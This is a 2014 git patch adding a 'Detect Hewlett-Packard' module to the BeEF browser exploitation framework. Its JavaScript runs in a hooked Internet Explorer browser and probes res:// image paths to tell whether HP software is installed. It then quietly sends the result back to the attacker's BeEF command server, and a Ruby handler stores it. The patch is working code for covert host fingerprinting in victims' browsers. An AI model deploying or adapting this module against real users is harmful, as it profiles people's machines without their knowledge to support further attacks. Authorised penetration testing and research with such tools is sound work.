From fab0bf6b248dcb925353543d382846eab53e7864 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Thu, 20 Mar 2014 00:52:25 +1030
Subject: [PATCH] Add Detect HP module

---
 modules/host/detect_hp/command.js  | 35 ++++++++++++++++++++++++++++++
 modules/host/detect_hp/config.yaml | 16 ++++++++++++++
 modules/host/detect_hp/module.rb   | 15 +++++++++++++
 3 files changed, 66 insertions(+)
 create mode 100644 modules/host/detect_hp/command.js
 create mode 100644 modules/host/detect_hp/config.yaml
 create mode 100644 modules/host/detect_hp/module.rb

diff --git a/modules/host/detect_hp/command.js b/modules/host/detect_hp/command.js
new file mode 100644
index 000000000..25ba80321
--- /dev/null
+++ b/modules/host/detect_hp/command.js
@@ -0,0 +1,35 @@
+//
+// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var is_hp = new Array;
+	var dom = document.createElement('b');
+
+	parse_results = function() {
+		var result = "false";
+		if (is_hp.length) result = "true";
+		beef.net.send("<%= @command_url %>", <%= @command_id %>, "is_hp="+result);
+	};
+
+	var fingerprints = new Array(
+		new Array("warning","res://hpnetworkcheckplugin.dll/warning.jpg"),
+		new Array("hpr_rgb","res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png")
+	);
+
+	for (var i=0; i<fingerprints.length; i++) {
+		var img = new Image;
+		img.id = fingerprints[i][0];
+		img.name = fingerprints[i][0];
+		img.src = fingerprints[i][1];
+		img.onload = function() { is_hp.push(this.id); dom.removeChild(this); }
+		dom.appendChild(img);
+	}
+
+	setTimeout('parse_results();', 2000);
+
+});
+
diff --git a/modules/host/detect_hp/config.yaml b/modules/host/detect_hp/config.yaml
new file mode 100644
index 000000000..c6f2af8d6
--- /dev/null
+++ b/modules/host/detect_hp/config.yaml
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_hp:
+            enable: true
+            category: "Host"
+            name: "Detect Hewlett-Packard"
+            description: "This module attempts to detect software installed by default on HP systems. It uses the 'res' protocol handler which works only on Internet Explorer."
+            authors: ["bcoles"]
+            target:
+                working: ["IE"]
+                not_working: ["ALL"]
diff --git a/modules/host/detect_hp/module.rb b/modules/host/detect_hp/module.rb
new file mode 100644
index 000000000..78da4a02b
--- /dev/null
+++ b/modules/host/detect_hp/module.rb
@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+##
+class Detect_hp < BeEF::Core::Command
+
+  def post_execute
+    content = {}
+    content['is_hp'] = @datastore['is_hp'] if not @datastore['is_hp'].nil?
+    save content
+  end
+
+end